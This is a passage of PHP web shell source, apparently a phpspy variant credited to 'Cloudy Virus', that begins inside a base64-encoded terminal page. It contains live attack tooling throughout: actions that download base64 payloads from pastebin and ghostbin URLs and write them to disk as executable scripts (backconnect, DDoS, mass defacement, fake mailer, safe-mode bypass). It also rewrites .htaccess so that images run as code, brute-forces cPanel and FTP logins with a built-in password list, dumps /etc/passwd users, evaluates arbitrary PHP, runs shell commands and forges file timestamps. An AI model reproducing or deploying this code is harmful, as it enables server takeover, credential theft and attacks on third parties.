cmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0gLy8gZW5kIHBocHRoaWVubGUKCi8qIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyMKIyMgVGhlIG1haW4gdGhpbmcgc3RhcnRzIGhlcmUKIyMgQWxsIG91dHB1dCBpc3QgWEhUTUwKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwokdGVybWluYWw9bmV3IHBocHRoaWVubGU7CkBzZXNzaW9uX3N0YXJ0KCk7CiR0ZXJtaW5hbC0+aW5pdFZhcnMoKTsKJHRlcm1pbmFsLT5idWlsZENvbW1hbmRIaXN0b3J5KCk7CiR0ZXJtaW5hbC0+YnVpbGRKYXZhSGlzdG9yeSgpOwppZighaXNzZXQoJF9TRVNTSU9OWydwcm9tcHQnXSkpOiAkdGVybWluYWwtPmZvcm1hdFByb21wdCgpOyBlbmRpZjsKJHRlcm1pbmFsLT5vdXRwdXRIYW5kbGUoJGFsaWFzZXMpOwoKaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOwplY2hvICc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/PicgLiAiXG4iOwovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIHNhZmUgbW9kZSBpbmNyZWFzZQojIyBibG9xdWUgZm9uY3Rpb24KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwo/Pgo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIgoiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiB4bWw6bGFuZz0iZW4iIGxhbmc9ImVuIj4KPGhlYWQ+Cjx0aXRsZT48P3BocCBlY2hvICJXZWJzaXRlIDogIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7Pz4gfCA8P3BocCBlY2hvICJJUCA6ICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuIiI7Pz48L3RpdGxlPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp2YXIgY3VycmVudF9saW5lID0gMDsKdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsKdmFyIGxhc3QgPSAwOwpmdW5jdGlvbiBrZXkoZSkgewppZiAoIWUpIHZhciBlID0gd2luZG93LmV2ZW50OwppZiAoZS5rZXlDb2RlID09IDM4ICYmIGN1cnJlbnRfbGluZSA8IGNvbW1hbmRfaGlzdC5sZW5ndGgtMSkgewpjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXSA9IGRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWU7CmN1cnJlbnRfbGluZSsrOwpkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlID0gY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV07Cn0KaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lLS07CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQp9CmZ1bmN0aW9uIGluaXQoKSB7CmRvY3VtZW50LnNoZWxsLnNldEF0dHJpYnV0ZSgiYXV0b2NvbXBsZXRlIiwgIm9mZiIpOwpkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsVG9wID0gZG9jdW1lbnQuc2hlbGwub3V0cHV0LnNjcm9sbEhlaWdodDsKZG9jdW1lbnQuc2hlbGwuY29tbWFuZC5mb2N1cygpOwp9Cjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHtmb250LWZhbWlseTogc2Fucy1zZXJpZjsgY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kOiB3aGl0ZTt9CnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDI1MHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPGgyPkRldmVsb3BlciBCeSBLeW1Mam5rPC9oMj4KCjw/cGhwIGlmIChlbXB0eSgkX1JFUVVFU1RbJ3Jvd3MnXSkpICRfUkVRVUVTVFsncm93cyddID0gMjY7ID8+Cgo8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KPHRyPjx0ZCBjbGFzcz0iaGVhZCIgc3R5bGU9ImNvbG9yOiAjMDAwMDAwOyI+PGI+UFdEIDo8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjYwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoqLz8+CjwvZm9ybT48L3RkPjwvdHI+CjwvYm9keT4KPC9odG1sPgo8P3BocCA/Pg=='; $file = fopen("command.php", "w+"); $write = fwrite($file, base64_decode($perltoolss)); fclose($file); echo "<iframe src=command.php width=63% height=700px frameborder=0></iframe> "; } elseif ($action == 'symroot') { $file = fopen($dir . "symroot.php", "w+"); $perltoolss = file_get_contents('https://ghostbin.com/paste/fno7j/raw'); $file = fopen("symroot.php", "w+"); $write = fwrite($file, base64_decode($perltoolss)); fclose($file); echo "<iframe src='symroot.php' width='100%' height='500'></iframe>"; } elseif ($action == 'zipcode') { $file = fopen($dir . "zipcode.php", "w+"); $perltoolss = file_get_contents('https://ghostbin.com/paste/fxfu4/raw'); $file = fopen("zipcode.php", "w+"); $write = fwrite($file, base64_decode($perltoolss)); fclose($file); echo "<iframe src='zipcode.php' width='100%' height='500'></iframe>"; } elseif ($action == 'mass') { $file = fopen($dir . "mass.php", "w+"); $perltoolss = file_get_contents('https://ghostbin.com/paste/ggq7v/raw'); $file = fopen("mass.php", "w+"); $write = fwrite($file, base64_decode($perltoolss)); fclose($file); echo "<iframe src='mass.php' width='100%' height='500'></iframe>"; } elseif ($action == 'vb') { $file = fopen($dir . "shellbypass.php", "w+"); $perltoolss = file_get_contents('https://ghostbin.com/paste/cu2qo/raw'); $file = fopen("shellbypass.php", "w+"); $write = fwrite($file, base64_decode($perltoolss)); fclose($file); echo "<iframe src='shellbypass.php' width='100%' height='500'></iframe>"; } elseif ($action == 'termi') { $file = fopen($dir . "DGTerminal.php", "w+"); $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=F3AUVq9q'); $file = fopen("DGTerminal.php", "w+"); $write = fwrite($file, base64_decode($perltoolss)); fclose($file); echo "<iframe src='DGTerminal.php' width='100%' height='500'></iframe>"; } elseif ($action == 'cgipin') { mkdir('Pin', 0755); chdir('Pin'); $kokdosya = ".htaccess"; $dosya_adi = "$kokdosya"; $dosya = fopen($dosya_adi, 'w') or die("Can not open file!"); $metin = "Options +ExecCGI
860AddHandler cgi-script cgi pl cgi gmc pin jpg
861RewriteEngine on
862RewriteRule (.*)\.mil$ $1.cgi
863Options +FollowSymLinks
864DirectoryIndex cmd.html
865Options +Indexes
866RemoveHandler .hack
867AddType text/plain .hack"; fwrite($dosya, $metin); fclose($dosya); $perltoolss = file_get_contents('https://ghostbin.com/paste/5qyrs/raw'); $file = fopen("cgi.pin", "w+"); $write = fwrite($file, base64_decode($perltoolss)); fclose($file); chmod("cgi.pin", 0755); echo "<iframe src=pin/cgi.pin width=100% height=720px frameborder=0></iframe> "; } elseif ($action == 'telnet') { mkdir('tel', 0755); chdir('tel'); $kokdosya = ".htaccess"; $dosya_adi = "$kokdosya"; $dosya = fopen($dosya_adi, 'w') or die("Can not open file!"); $metin = "Options +FollowSymLinks +Indexes
868DirectoryIndex default.html
869## START ##
870Options +ExecCGI
871AddHandler cgi-script log cgi pl tg love h4 Marion001 tgb x-zone
872AddType application/x-httpd-php .jpg
873RewriteEngine on
874RewriteRule (.*)\war$ .log
875## END ##"; fwrite($dosya, $metin); fclose($dosya); $perltoolss = file_get_contents('https://ghostbin.com/paste/bh278/raw'); $file = fopen("telnet.pl", "w+"); $write = fwrite($file, base64_decode($perltoolss)); fclose($file); chmod("telnet.pl", 0755); echo "<iframe src=tel/telnet.pl width=100% height=720px frameborder=0></iframe> "; } elseif ($action == 'endecode') { $en = 'http://pastebin.com/raw.php?i=y5Qhr0WM'; $de = file_get_contents($en); $cone = fopen('endecode.php', 'w'); fwrite($cone,$de); fclose($cone); echo "<iframe src='endecode.php' width='100%' height='500'></iframe>"; } elseif ($action == 'ddosv2') { $ddosv = 'http://pastebin.com/raw.php?i=XYwv7CSa'; $dess = file_get_contents($ddosv); $coneww = fopen('ddosv2.php', 'w'); fwrite($coneww,$dess); fclose($coneww); echo "<iframe src='ddosv2.php' width='100%' height='500'></iframe>"; } elseif ($action == 'bcphp') { $file = fopen($dir . "backconnect.php", "w+"); $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=Q7mAs9Nf'); $file = fopen("backconnect.php", "w+"); $write = fwrite($file, base64_decode($perltoolss)); fclose($file); echo "<iframe src='backconnect.php' width='100%' height='500'></iframe>"; } elseif ($action == 'viewdomain') { $viewdomain = 'http://pastebin.com/raw.php?i=iGsiu7uK'; $desszzzz = file_get_contents($viewdomain); $coww = fopen('viewdomain.php', 'w'); fwrite($coww,$desszzzz); fclose($coww); echo "<iframe src='viewdomain.php' width='100%' height='500'></iframe>"; } elseif ($action == 'scan') { $file = fopen($dir . "scan.php", "w+"); $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=PiUR3LPb'); $file = fopen("scan.php", "w+"); $write = fwrite($file, base64_decode($perltoolss)); fclose($file); echo "<iframe src='scan.php' width='100%' height='500'></iframe>"; } elseif ($action == 'massfd') { $file = fopen($dir . "massfd.php", "w+"); $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=S0uCaquf'); $file = fopen("massfd.php", "w+"); $write = fwrite($file, base64_decode($perltoolss)); fclose($file); echo "<iframe src='massfd.php' width='100%' height='500'></iframe>"; } elseif ($action == 'reverseip') { echo "<iframe src=http://www.yougetsignal.com/tools/web-sites-on-web-server/ width=100% height=720px frameborder=0></iframe> "; } elseif ($action == 'spam') { $file = fopen($dir . "fakemail.php", "w+"); $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=LjRcNVUa'); $file = fopen("fakemail.php", "w+"); $write = fwrite($file, base64_decode($perltoolss)); fclose($file); echo "<iframe src='fakemail.php' width='100%' height='500'></iframe>"; } elseif ($action == 'bug') { $bug = 'http://pastebin.com/raw.php?i=07hwC5fW'; $bugshell = file_get_contents($bug); $bs = fopen('bugshell.php', 'w'); fwrite($bs,$bugshell); fclose($mdf); echo "<iframe src='bugshell.php' width='100%' height='500'></iframe>"; } elseif ($action == 'findadmin') { $find = 'http://pastebin.com/raw.php?i=8UmXBduC'; $admin = file_get_contents($find); $dmm = fopen('findadmin.php', 'w'); fwrite($dmm,$admin); fclose($dmm); echo "<iframe src='findadmin.php' width='100%' height='500'></iframe>"; } elseif ($action == 'brute') { formhead(array('title'=>'Brute Forcer')); makehide('action','brute'); makehide('dir',$brute); @ini_set('memory_limit', 1000000000000); $connect_timeout=5; @set_time_limit(0); $submit = $_REQUEST['submit']; $users = $_REQUEST['users']; $pass = $_REQUEST['passwords']; $target = $_REQUEST['target']; $option = $_REQUEST['option']; $passlist = "0123456
87601234567
877012345678
8780123456789
87901234567890
880123456
8811234567
88212345678
883123456789
8841234567890
885111111
886000000
887222222
888333333
889444444
890555555
891666666
892777777
893888888
894999999
895123123
896456456
897789789
898123321
899456654
900654321
9017654321
90287654321
903987654321
9040987654321
905admin
906administrator
907admincp
908cpanel
909adminx
910admins
911password
912passwords
913passw0rd
914p@ssw0rd
915p@ssword
916khongco
91725251325
918passw0rds"; if($target == ''){ $target = 'localhost'; } print " <div align='center'>
919<form method='post' style='border: 1px solid #000000'><br><br>
920<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
921<b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
922<div align='center'><br>
923<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
924<tr>
925<td align='center'>
926<b>Username</b></td>
927<td>
928<p align='center'>
929<b>Password</b></td>
930</tr>
931</table>
932<p align='center'>
933<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>"; $i = 0; while ($i < 60000) { $line = posix_getpwuid($i); if (!empty($line)) { while (list ($key, $vba_etcpwd) = each($line)){ echo "".$vba_etcpwd."\n"; break; } } $i++; } echo "
934</textarea>
935<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
936<br>
937<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
938<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
939</td></tr></table></td></tr></form><p align= 'left'>"; ?>
940<?php function ftp_check($host,$user,$pass,$timeout){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "ftp://$host"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($ch, CURLOPT_FTPLISTONLY, 1); curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass"); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_FAILONERROR, 1); $data = curl_exec($ch); if ( curl_errno($ch) == 28 ) { print "<b> Error : Connection timed out , make confidence about validation of target !</b>"; exit;} elseif ( curl_errno($ch) == 0 ){ p("<b>[ attack@vbateam.net ]# </b>
941<b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>"); } curl_close($ch);} function cpanel_check($host,$user,$pass,$timeout){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://$host:2082"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass"); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_FAILONERROR, 1); $data = curl_exec($ch); if ( curl_errno($ch) == 28 ) { print "<b> Error : Connection timed out , make confidence about validation of target !</b>"; exit;} elseif ( curl_errno($ch) == 0 ){ p("<b>[ attack@vbateam.net ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);} if(isset($submit) && !empty($submit)){ $userlist = explode ("\n" , $users ); $passlist = explode ("\n" , $pass ); p('<b>[ attack@vbateam.net ]# Attacking ...</font></b><br>'); foreach ($userlist as $user) { $_user = trim($user); foreach ($passlist as $password ) { $_pass = trim($password); if($option == "ftp"){ ftp_check($target,$_user,$_pass,$connect_timeout); } if ($option == "cpanel") { cpanel_check($target,$_user,$_pass,$connect_timeout); } } } } formfoot(); } elseif ($action == 'etcpwd') { formhead(array('title'=>'Get /etc/passwd')); makehide('action','etcpwd'); makehide('dir',$nowpath); $i = 0; echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">"; while ($i < 60000) { $line = posix_getpwuid($i); if (!empty($line)) { while (list ($key, $vba_etcpwd) = each($line)){ echo "".$vba_etcpwd."\n"; break; } } $i++; } echo "</textarea></p>"; formfoot(); } elseif ($action == 'eval') { $phpcode = trim($phpcode); if($phpcode){ if (!preg_match('#<\?#si', $phpcode)) { $phpcode = "<?php\n\n{$phpcode}\n\n?>"; } eval("?".">$phpcode<?php"); } formhead(array('title'=>'Eval PHP Code')); makehide('action','eval'); maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode)); p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>'); formfooter(); } elseif ($action == 'editfile') { if(file_exists($opfile)) { $fp=@fopen($opfile,'r'); $contents=@fread($fp, filesize($opfile)); @fclose($fp); $contents=htmlspecialchars($contents); } formhead(array('title'=>'Create / Edit File')); makehide('action','file'); makehide('dir',$nowpath); makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1)); maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents)); formfooter(); } elseif ($action == 'newtime') { $opfilemtime = @filemtime($opfile); $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12); formhead(array('title'=>'Clone file was last modified time')); makehide('action','file'); makehide('dir',$nowpath); makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1)); formfooter(); formhead(array('title'=>'Set last modified')); makehide('action','file'); makehide('dir',$nowpath); makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); p('<p>Instead »'); p('year:'); makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4)); p('month:'); makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2)); p('day:'); makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2)); p('hour:'); makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2)); p('minute:'); makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2)); p('second:'); makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2)); p('</p>'); formfooter(); } elseif ($action == 'shell') { if (IS_WIN && IS_COM) { if($program && $parameter) { $shell= new COM('Shell.Application'); $a = $shell->ShellExecute($program,$parameter); m('Program run has '.(!$a ? 'success' : 'fail')); } !$program && $program = 'c:\windows\system32\cmd.exe'; !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt'; formhead(array('title'=>'Execute Program')); makehide('action','shell'); makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1)); p('<p>'); makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter)); makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); p('</p>'); formfoot(); } formhead(array('title'=>'Execute Command')); makehide('action','shell'); if (IS_WIN && IS_COM) { $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open'); makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1)); } p('<p>'); makeinput(array('title'=>'Command','name'=>'command','value'=>$command)); makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); p('</p>'); formfoot(); if ($command) { p('<hr width="100%" noshade /><pre>'); if ($execfunc=='wscript' && IS_WIN && IS_COM) { $wsh = new COM('WScript.shell'); $exec = $wsh->exec('cmd.exe /c '.$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) { $descriptorspec = array( 0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w') ); $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes); if (is_resource($process)) { fwrite($pipes[0], $command."\r\n"); fwrite($pipes[0], "exit\r\n"); fclose($pipes[0]); while (!feof($pipes[1])) { echo fgets($pipes[1], 1024); } fclose($pipes[1]); while (!feof($pipes[2])) { echo fgets($pipes[2], 1024); } fclose($pipes[2]); proc_close($process); } } else { echo(execute($command)); } p('</pre>'); } } elseif ($action == 'phpenv') { $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed'; $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from'); !$dis_func && $dis_func = 'No'; $info = array( 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)), 2 => array('Server Domain',$_SERVER['SERVER_NAME']), 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])), 4 => array('Server OS',PHP_OS), 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']), 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']), 7 => array('Server Web Port',$_SERVER['SERVER_PORT']), 8 => array('PHP run mode',strtoupper(php_sapi_name())), 9 => array('The file path',__FILE__), 10 => array('PHP Version',PHP_VERSION), 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')), 12 => array('Safe Mode',getcfg('safe_mode')), 13 => array('Administrator',$adminmail), 14 => array('allow_url_fopen',getcfg('allow_url_fopen')), 15 => array('enable_dl',getcfg('enable_dl')), 16 => array('display_errors',getcfg('display_errors')), 17 => array('register_globals',getcfg('register_globals')), 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')), 19 => array('memory_limit',getcfg('memory_limit')), 20 => array('post_max_size',getcfg('post_max_size')), 21 => array('upload_max_filesize',$upsize), 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'), 23 => array('disable_functions',$dis_func), ); if($phpvarname) { m($phpvarname .' : '.getcfg($phpvarname)); } formhead(array('title'=>'Server environment')); makehide('action','phpenv'); makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1)); formfooter(); $hp = array(0=> 'Server', 1=> 'PHP'); for($a=0;$a<2;$a++) { p('<h2>'.$hp[$a].' »</h2>'); p('<ul class="info">'); if ($a==0) { for($i=1;$i<=9;$i++) { p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>'); } } elseif ($a == 1) { for($i=10;$i<=23;$i++) { p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>'); } } p('</ul>'); } } else { m('Undefined Action'); } ?>
942</td></tr></table>
943
944<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
945 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
946 Copyright (C) 2016 <B></B> - Develop by <a href=https://www.facebook.com/profile.php target=_blank><B>Cloudy Virus </B></a> - <B>All Rights Reserved.</B>
947</div>
948</body>
949</html>
950
951<?php function m($msg) { echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">'; echo $msg; echo '</div>'; } function scookie($key, $value, $life = 0, $prefix = 1) { global $admin, $timestamp, $_SERVER; $key = ($prefix ? $admin['cookiepre'] : '').$key; $life = $life ? $life : $admin['cookielife']; $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0; setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport); } function multi($num, $perpage, $curpage, $tablename) { $multipage = ''; if($num > $perpage) { $page = 10; $offset = 5; $pages = @ceil($num / $perpage); if($page > $pages) { $from = 1; $to = $pages; } else { $from = $curpage - $offset; $to = $curpage + $page - $offset - 1; if($from < 1) { $to = $curpage + 1 - $from; $from = 1; if(($to - $from) < $page && ($to - $from) < $pages) { $to = $page; } } elseif($to > $pages) { $from = $curpage - $pages + $to; $to = $pages; if(($to - $from) < $page && ($to - $from) < $pages) { $from = $pages - $page + 1; } } } $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : ''); for($i = $from; $i <= $to; $i++) { $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> '; } $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : ''); $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : ''; } return $multipage; } function loginpage() { ?>
952
953<html>
954
955<head>
956
957
958
959
960
961
962
963 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
964<div class="clock">
965<div id="Date"></div>
966 <ul>
967 <li id="hours"></li>
968 <li id="point">:</li>
